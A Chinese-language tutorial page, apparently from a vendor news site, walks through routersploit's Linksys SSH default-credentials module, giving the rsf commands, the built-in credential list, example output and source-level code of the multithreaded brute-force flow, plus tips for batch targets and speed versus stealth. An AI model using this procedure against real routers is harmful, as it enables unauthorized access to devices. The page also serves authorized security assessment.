首页/新闻资讯/正文详情

routersploit 实战:使用 Linksys Router Default SSH Creds 模块对路由器 SSH 服务执行默认口令字典攻击

发布时间:2026/9/23 7:10:08 来源:云帆数科 栏目:资讯中心
routersploit 实战:使用 Linksys Router Default SSH Creds 模块对路由器 SSH 服务执行默认口令字典攻击
网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载导读本文围绕 routersploit 框架中的creds/routers/linksys/ssh_default_creds模块展开系统讲解如何对 Linksys 路由器暴露的 SSH 服务进行默认口令字典攻击Default Credentials Dictionary Attack。你将掌握该模块的加载与配置方法、默认凭据列表的含义与自定义方式、多线程攻击流程的底层实现以及如何结合仓库源码与测试用例理解其工作原理最终能够对嵌入式设备 SSH 服务进行安全评估。模块概述它在 routersploit 中的定位ssh_default_creds属于 routersploit 的creds凭据模块族路径为 routersploit/modules/creds/routers/linksys/ssh_default_creds.py。该模块的核心职责是使用内置的 Linksys 路由器默认凭据字典对目标 SSH 服务执行字典攻击一旦发现有效凭据立即展示给用户。模块元数据__info__声明如下nameLinksys Router Default SSH Credsdescription对 Linksys Router SSH 服务执行字典攻击发现有效凭据后展示给用户devicesLinksys RouterauthorsMarcin Buryroutersploit 模块作者值得注意的是该模块并非从零实现攻击逻辑而是继承自通用模块routersploit/modules/creds/generic/ssh_default.pyfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault class Exploit(SSHDefault): __info__ { ... } target OptIP(, Target IPv4, IPv6 address or file with ip:port (file://)) port OptPort(22, Target SSH port) threads OptInteger(1, Number of threads) defaults OptWordlist(admin:admin,admin:password,root:admin,linksys:, User:Pass or file with default credentials (file://))这种厂商模块继承通用模块、仅覆写凭据与默认参数的设计模式在整个creds/routers/vendor/目录中广泛复用——同一目录下还提供ftp_default_creds、telnet_default_creds等同族模块共同构成针对 Linksys 的多协议默认凭据检测能力。快速开始完整操作步骤启动框架在仓库根目录安装依赖并启动交互式框架参见 README.mdpython3 -m pip install -r requirements.txt python3 rsf.py加载并运行模块进入rsf交互式终端后按以下流程操作rsf use creds/routers/linksys/ssh_default_creds rsf (Linksys Router Default SSH Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (Linksys Router Default SSH Creds) run运行结果示例以下为文档中给出的典型运行输出仅作演示实际结果取决于目标环境[*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: admin Password: 12345 [-] SSH Authentication Failed - Username: admin Password: 123456 [-] SSH Authentication Failed - Username: Admin Password: 12345 [-] SSH Authentication Failed - Username: Admin Password: 123456 [] SSH Authentication Successful - Username: admin Password: admin [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin输出要点解读Target exposes SSH service攻击前先执行连通性探测失败尝试以[-] SSH Authentication Failed逐条输出受verbosity控制成功后输出[] SSH Authentication Successful并在末尾以表格形式汇总Target / Port / Service / Username / Password若所有凭据均无效则输出Credentials not found。模块参数详解该模块的五个核心参数及其默认值如下类型均定义于 routersploit/core/exploit/option.py参数类型默认值说明targetOptIP空目标 IPv4 / IPv6 地址或file://前缀的 ip:port 列表文件portOptPort22目标 SSH 服务端口有效范围 1–65535threadsOptInteger1并发攻击线程数defaultsOptWordlistadmin:admin,admin:password,root:admin,linksys:User:Pass组合或以file://前缀指向字典文件verbosity/stop_on_successOptBooltrue详见下文继承自通用模块的开关各参数的行为细节targetOptIP通过正则校验 IPv4 / IPv6 地址格式非法地址会在set时直接抛出OptionValidationError。此外routersploit 支持批量目标——将target设置为file:///path/to/targets.txt文件中每行一个ip:port端口可省略配合multi装饰器实现对多个目标逐一攻击见 routersploit/core/exploit/exploit.py 中multi装饰器的实现。portOptPort必须是 1–65535 的整数非整数或越界值会触发校验错误。threadsOptInteger控制并发线程数量。模块默认值为1单线程通用模块的默认值为8在目标网络条件较好、希望加速时可以提高该值。defaultsOptWordlist本模块内置的 Linksys 默认凭据列表仅四条admin:admin admin:password root:admin linksys:其中linksys:表示用户名为linksys、密码为空字符串。该列表同样被测试用例 tests/creds/routers/linksys/test_ssh_default_creds.py 断言确认assert exploit.defaults [admin:admin, admin:password, root:admin, linksys:]OptWordlist的底层实现option.py支持两种取值方式直接以逗号分隔内联凭据admin:admin,admin:password以file://前缀指向外部字典文件每行一条User:Pass运行时自动读取并按行拆分。注意这里的file://用法与target的批量目标文件用法机制相同但用途不同——前者提供凭据字典后者提供目标主机列表。继承自通用模块的开关除了上述参数模块还从SSHClient基类继承了三个可调项verbosity默认true控制是否逐条打印认证失败/成功日志关闭后仅输出汇总结果stop_on_success默认true一旦发现有效凭据立即停止后续尝试target_protocol固定为Protocol.SSH用于结果表格中的Service列显示ssh。攻击流程的源码级解析模块的完整攻击链路由通用模块 ssh_default.py 实现可分四步理解。第一步run()入口def run(self): self.credentials [] self.attack()attack方法被multi装饰因此当target指向批量文件时会被逐个目标反复调用。第二步check()服务探测def check(self): ssh_client self.ssh_create() if ssh_client.test_connect(): print_status(Target exposes SSH service, verboseself.verbosity) return True print_status(Target does not expose SSH, verboseself.verbosity) return Falsetest_connect()由 SSH 客户端 routersploit/core/ssh/ssh_client.py 提供内部逻辑是以root用户名 12 位随机密码尝试连接random_text(12)。若服务器返回paramiko.AuthenticationException说明 SSH 服务确实存活只是拒绝该凭据即判定目标暴露 SSH 服务其他异常超时、连接拒绝等则视为探测失败并跳过攻击。第三步attack()多线程字典攻击data LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data)LockedIteratorexploit.py为字典迭代器加锁保证多线程下每条凭据只被消费一次不会重复尝试run_threads按threads数量创建线程线程名形如thread-0、thread-1……并在结束后打印Elapsed time。这也解释了输出日志中thread-0 thread is starting...的来源。第四步target_function()凭据尝试username, password data.next().split(:, 1) ssh_client self.ssh_create() if ssh_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ssh_client.close()真正的认证动作在SSHCli.login()ssh_client.py中完成通过 paramiko 的SSHClient.connect()发起密码认证设置look_for_keysFalse、allow_agentFalse以禁用密钥与 agent 干扰超时时间为 8 秒SSH_TIMEOUT 8.0。AuthenticationException记为失败成功则返回True并记录凭据配合stop_on_successTrue时命中首个有效凭据即终止整个线程组。结果汇总attack()末尾根据self.credentials是否为空决定输出if self.credentials: print_success(Credentials found!) headers (Target, Port, Service, Username, Password) print_table(headers, *self.credentials) else: print_error(Credentials not found)这正是文档示例中最终表格Target / Port / Service / Username / Password的生成来源。测试用例验证仓库为每个 creds 模块配套了单元测试。Linksys SSH 模块的测试位于 tests/creds/routers/linksys/test_ssh_default_creds.py验证要点包括默认参数正确性target为空、port 22、threads 1、defaults为上述四条 Linksys 凭据、stop_on_success与verbosity均为True针对通用测试目标generic_targetfixture通常是未运行 SSH 服务的地址执行check()返回False、check_default()返回None、run()返回None——即目标不暴露 SSH 服务时不会误报。这套测试同时验证了模块与通用 SSH 攻击逻辑的集成正确性。运行方式python3 -m pytest tests/creds/routers/linksys/test_ssh_default_creds.py -v扩展使用建议自定义字典将defaults设置为file:///path/to/creds.txt即可复用任意自定义凭据字典每行User:Pass用于评估其他品牌或固件版本的路由器。批量评估将target指向file:///path/to/targets.txt每行ip或ip:port可对多个 Linksys 设备依次执行同一攻击流程。提高效率在确认目标响应较快时增大threads并保持stop_on_successtrue在速度与隐蔽性之间取得平衡。联动其他协议Linksys 目录下还提供ftp_default_creds与telnet_default_creds两个同族模块见 routersploit/modules/creds/routers/linksys/可组合覆盖 FTP、SSH、Telnet 三类常见管理服务。安全边界说明本模块属于安全评估工具仅应在获得授权的目标上使用。默认凭据攻击本质上依赖设备出厂时的弱口令配置其结果可作为排查未授权访问风险、加固设备口令策略的直接依据。任何未经授权的扫描与尝试均可能违反当地法律法规。赞分享网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载相关推荐RouterSploit 实战使用 Netcore Router Default SSH Creds 模块进行 SSH 默认凭据攻击RouterSploit 实战使用 Netcore Router Default SSH Creds 模块进行 SSH 默认凭据攻击 导读 本文围绕 Rout网络安全嵌入式routersploit 实战使用 Asmax Router Default Telnet Creds 模块对 Telnet 服务执行默认凭据字典攻击routersploit 实战使用 Asmax Router Default Telnet Creds 模块对 Telnet 服务执行默认凭据字典攻击 导读网络安全嵌入式routersploit 使用指南Linksys 路由器 Telnet 默认口令爆破模块 creds/routers/linksys/telnet_default_creds 实战routersploit 使用指南Linksys 路由器 Telnet 默认口令爆破模块 creds/routers/linksys/telnet_defau网络安全嵌入式创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关推荐

家居行业AI落地指南:从场景选择到Agent工作流全解析
家居行业AI落地指南:从场景选择到Agent工作流全解析

最近半年,我身边做家居品牌的朋友几乎都在问同一个问题:“AI 到底怎么落地?” 展会上一眼望去全是“AI 设计”“AI 客服”“AI 导购”的招牌,可真回访下来,真正把 AI 跑到业务流程里、见到实际收益的项目,十… · 2026/9/23 7:10:08

深度学习入门指南:从基础到实践
深度学习入门指南:从基础到实践

1. 深度学习入门:从理论到实践的完整指南作为一位在机器学习领域深耕多年的从业者,我经常被问到如何系统性地学习深度学习。今天我想分享一本经典教材《深度学习入门》(俗称"鱼书")的核心内容,并结合我的实践… · 2026/9/23 7:10:08

Qwen大模型技术解析:从架构演进到工程实践
Qwen大模型技术解析:从架构演进到工程实践

1. Qwen模型家族的崛起背景2019年Transformer架构在NLP领域掀起革命浪潮后,国内科研团队开始探索大语言模型的自主研发路径。Qwen(千问)作为国产大模型的重要代表,其发展历程折射出中国AI团队在预训练模型领域的创新轨迹。这个由阿… · 2026/9/23 7:10:02

自建AI出图平台存储选型实战:从NAS到iSCSI企业级存储的完整方案
自建AI出图平台存储选型实战:从NAS到iSCSI企业级存储的完整方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/23 7:55:48

HTTP/3 上线三个月,我把它关了:QUIC 不是所有场景都更快
HTTP/3 上线三个月,我把它关了:QUIC 不是所有场景都更快

去年年底 CDN 服务商来推 HTTP/3,问我们要不要切。 我当时的第一反应是那句老话:"这玩意儿现在能用了?"对方笑了,说 Cloudflare、Google、Meta 早就全量跑 QUIC 了。 我回去查了下数据,切了。业务是 H5 页面… · 2026/9/23 7:55:48

原生多时空架构:分布式系统时间一致性的底层解法
原生多时空架构:分布式系统时间一致性的底层解法

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/23 7:55:48

火眼金睛炼单词:5步高效记忆法,让你单词量暴涨300%
火眼金睛炼单词:5步高效记忆法,让你单词量暴涨300%

"火眼金睛炼单词"不是死记硬背,而是通过科学方法激活大脑记忆潜能。本文将教你如何从单词识别到长期记忆的全流程技巧,让你告别"背了就忘"的困境,实现单词量的高效积累。 前置准备:打好单词记忆基础 在开始&q… · 2026/9/23 7:55:42

TP9951芯片实战:四路模拟视频转MIPI-CSI2接口方案与调试心得
TP9951芯片实战:四路模拟视频转MIPI-CSI2接口方案与调试心得

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/23 7:55:42

企业级SaaS后台管理系统架构设计与实践
企业级SaaS后台管理系统架构设计与实践

1. SaaS-Admin项目概述SaaS-Admin是一个面向企业级应用的通用后台管理系统解决方案。这类系统通常需要处理多租户架构、权限管理、数据隔离等核心需求。我在实际开发中发现,这类项目往往存在"重复造轮子"的问题——每个新项目都要重新搭建基础框架&#x… · 2026/9/23 7:55:42

3招搞定手机怎么下载微信面试难题实战项目解析
3招搞定手机怎么下载微信面试难题实战项目解析

3招搞定手机怎么下载微信面试难题实战项目解析 面试被问“手机怎么下载微信”背后的原理,90%的人答不上来。别笑,这看似弱智的问题,实则是考察你对移动应用分发机制、安全校验及网络协议理解的试金石。我带过不少校招新人,他们背了八股文,却连一个A… · 2026/9/23 0:00:03

你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型
你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型

你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型 面试被问“高并发下如何保证消息不丢失”,你张口就是“用Redis”,结果面试官追问“如果Redis宕机了怎么办”,你瞬间卡壳。这种场景太常见了,很多新手在背八股文时,只记住了技术名词… · 2026/9/23 0:00:29

Win7无线热点配置工具源码解析:解决API失效的3个实战技巧
Win7无线热点配置工具源码解析:解决API失效的3个实战技巧

Win7无线热点配置工具源码解析:解决API失效的3个实战技巧 Win7无线热点配置工具在Win10/11上跑不动?不是你的问题,是版本升级后 API 全变了。很多老项目里的 netsh wlan… · 2026/9/23 0:00:36

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码